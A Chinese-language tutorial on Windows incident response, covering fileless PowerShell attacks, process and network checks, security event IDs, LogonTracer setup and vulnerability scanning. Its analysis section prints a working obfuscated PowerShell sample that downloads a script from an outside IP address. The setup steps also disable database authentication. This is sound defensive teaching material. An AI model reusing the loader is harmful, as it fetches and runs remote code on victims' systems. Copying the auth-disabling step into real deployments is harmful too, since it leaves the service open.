Windows应急响应分析
字数 3265 2025-08-09 13:33:52
Windows应急响应分析教学文档
1. Windows应急响应概述
Windows应急响应是指对Windows系统遭受攻击或出现安全事件时进行快速检测、分析和处置的过程。随着网络安全威胁日益复杂,掌握Windows应急响应技能对安全人员至关重要。
1.1 应急响应排查方向
在Windows应急响应中,可以从以下9个方面进行排查:
- 异常进程和用户:检查系统中运行的异常进程和可疑用户账户
- 敏感端口开放情况:检查系统开放的可疑端口
- 密码强度:评估系统账户密码强度
- 日志分析:分析系统日志、安全日志等
- 异常启动项、服务、计划任务:检查系统启动项、服务和计划任务
- 注册表信息:检查注册表中的可疑项
- 系统缺陷:识别系统存在的漏洞和缺陷
- 流氓软件:检测和清除恶意捆绑软件
- 其他:包括文件分析、内存分析等
2. 无文件攻击应急响应
2.1 PowerShell无文件攻击
PowerShell是Windows系统自带的强大工具,攻击者常利用其进行无文件攻击,特点包括:
- 方便、有效和隐蔽
- 可混在正常网络流量中
- 留下的痕迹较少,难以检测
常用PowerShell参数:
-NoP:不加载Windows PowerShell配置文件-NonI:命令行运行后不和用户进行交互-W Hidden:将命令行运行窗口隐藏-E:接受base-64编码字符串版本的命令
2.2 无文件攻击检测方法
-
网络连接检查:
netstat -ano # 查看所有网络连接 netstat -ano | findstr "port" # 查看特定端口连接 -
进程检查:
tasklist | findstr "PID" # 查看特定PID的进程 tasklist /svc # 显示进程和服务信息 tasklist /m # 显示进程和加载的DLL -
可疑PowerShell进程:
- 正常情况下只有一个powershell进程
- 出现多个powershell进程可能表明存在攻击
-
内存分析:
- 使用Process Hacker等工具dump可疑进程内存
- 在内存中搜索可疑代码片段
2.3 无文件攻击示例分析
发现的可疑PowerShell脚本示例:
Set-StrictMode -Version 2 & ((VaRIAble '*mdR*' ).NaME[ 3 , 11 , 2 ]-join '' )( -joiN ( '36M68M111X73A116G61~32~40B40G78M101G119T45j79j98T106~101B99X101T32X83v121G115B116T101A109~46v78i101M116X46X87B101X98i99v108M105M101A110j116X41B46v68T111~119T110T108M111X97X100A83~116T114M105~110A103j40T39v104j116v116j112T58X47v47v52T55G46i49i49M51j46j50~49M55X46X49X50X56v47B115M115j121M121B46~116G120T116G39B41X41' .SPLIT( 'A~TGiBXvjM' )| fOReAcH - obJeCt { ( [ inT ] $_ - as [CHAr]) }))
分析要点:
- 脚本进行了混淆处理
- 包含base64编码的字符串
- 可能从远程服务器下载并执行恶意代码
- 上传VT查杀率低(5/56),说明使用了免杀技术
2.4 无文件攻击处置
-
查找并删除恶意文件:
- 使用FileSeek等工具搜索可疑文件
- 检查快速访问记录(此电脑→查看→选项)
-
检查用户账户:
net user # 查看用户账户- 注意:net user不能完全确定有无可疑用户,需检查注册表
-
检查启动项、服务和计划任务
3. 系统缺陷分析
Windows系统可能存在各种缺陷导致安全问题,例如:
- TCP/IP端口耗尽问题:
- 影响系统:Windows 7、Windows Server 2008、Windows Server 2008 R2
- 症状:大量40000或50000以上端口处于TIME_WAIT状态
- 后果:系统启动497天后可能无法创建新TCP/IP会话
- 解决方案:参考微软官方公告和应用补丁
4. 流氓软件分析
流氓软件通常表现为:
- 捆绑安装其他软件
- 占用大量内存和CPU资源
- 不断推送广告
清除方法:
- 结束任务管理器中的可疑进程
- 找到并删除相关文件
- 使用360安全卫士或火绒安全的文件粉碎工具
预防措施:
- 安装软件时注意取消勾选捆绑选项
- 避免从不信任来源下载软件
5. Windows日志分析
Windows系统记录多种日志,包括:
- Windows事件日志(Event Log)
- IIS日志
- FTP日志
- Exchange Server邮件服务日志
- MS SQL Server数据库日志
5.1 日志查看工具
- 事件查看器:Windows自带工具
- LogFusion:更直观的第三方日志查看工具
5.2 重要事件ID
| 事件ID | 说明 |
|---|---|
| 1102 | 清理审计日志 |
| 4624 | 账号成功登录 |
| 4625 | 账号登录失败 |
| 4672 | 授予特殊权限 |
| 4720 | 创建用户 |
| 4726 | 删除用户 |
| 4728 | 将成员添加到启用安全的全局组中 |
| 4729 | 将成员从安全的全局组中移除 |
| 4732 | 将成员添加到启用安全的本地组中 |
| 4733 | 将成员从启用安全的本地组中移除 |
| 4756 | 将成员添加到启用安全的通用组中 |
| 4757 | 将成员从启用安全的通用组中移除 |
| 4719 | 系统审计策略修改 |
| 4768 | Kerberos身份验证(TGT请求) |
| 4769 | Kerberos服务票证请求 |
| 4776 | NTLM身份验证 |
5.3 使用LogonTracer进行日志分析
LogonTracer是基于Python和Neo4j的可视化日志分析工具,可将登录事件中的主机名、IP地址和账户名称关联并以图形化方式展现。
5.3.1 Docker安装LogonTracer
-
拉取镜像:
docker pull jpcertcc/docker-logontracer -
运行容器:
docker run --detach --publish=7474:7474 --publish=7687:7687 --publish=8080:8080 -e LTHOSTNAME=192.168.1.109 jpcertcc/docker-logontracer -
解决常见问题:
-
认证问题:修改neo4j.conf,取消验证机制
docker exec -it [容器ID] /bin/sh vim conf/neo4j.conf修改为:
dbms.security.auth_enabled=false -
JS文件无法加载:
- 修改hosts文件:
151.139.237.11 cdn.rawgit.com - 修改index.html中的jQuery引用:
将vim /usr/local/src/LogonTracer/templates/index.htmlhttps://ajax.googleapis.com/ajax/libs/jquery/3.2.1/jquery.min.js
改为https://ajax.loli.net/ajax/libs/jquery/3.2.1/jquery.min.js
- 修改hosts文件:
-
5.3.2 LogonTracer功能
-
主要分析选项:
- All Users:所有用户登录信息
- SYSTEM Privileges:管理员账号登录(类型3或10)
- NTLM Remote Logon:NTLM远程登录(类型3)
- RDP Logon:远程桌面登录(类型10)
- Network Logon:网络登录(类型3)
- Batch Logon:批处理登录(类型4)
- Service Logon:服务登录(类型5)
- Ms14-068 Exploit Failure:MS14-068漏洞利用失败
- Logon Failure:登录失败信息
- Detect DCsync/DCShadow
- Add/Detect Users:添加/删除用户
- Domain Check:域检查
- Audit Policy Change:审计策略变更
-
常见问题解决:
- 界面加载问题:尝试更换浏览器
- 解析错误:确保Time Zone选择正确(中国为+8)
6. 系统漏洞扫描
6.1 WindowsVulnScan工具
功能:
- 查找主机上的CVE漏洞
- 查找具有公开EXP的CVE
- 原理:
- 收集CVE与KB的对应关系
- 查找特定CVE是否有公开EXP
- 利用PowerShell收集系统版本和KB信息
- 匹配存在公开EXP的CVE
使用步骤:
-
运行PowerShell脚本收集信息:
.\KBCollect.ps1生成KB.json文件
-
安装Python依赖:
python3 -m pip install requirements.txt -
创建CVEKB数据库:
python3 cve-check.py -u -
更新数据库:
python3 cve-check.py -U可选模式:
-m All:更新所有-m Empty:只更新hasPOC字段为空的-m Error:只更新hasPOC字段为Error的
6.2 收集系统服务信息
Get-WmiObject -class Win32_Product
7. 防御加固建议
-
及时修复漏洞:
- Web应用漏洞
- 服务器第三方服务漏洞(MySQL、Redis、FTP等)
-
安全意识:
- 防止社工攻击
- 使用强密码策略
- 避免密码重用
-
技术防护:
- 部署防护软件(如EDR解决方案)
- 定期数据备份
- 部署监控告警系统(邮件、微信等通知)
-
日志管理:
- 确保日志记录完整
- 定期审计日志
- 使用SIEM系统集中管理日志
8. 总结
Windows应急响应需要:
- 全面检查系统各个组件
- 熟悉常见攻击手法(如无文件攻击)
- 掌握日志分析技能
- 了解系统漏洞和加固方法
- 不断总结和扩充知识
通过应急响应实践,不仅可以提升安全防御能力,还能了解最新的攻击技术和方法。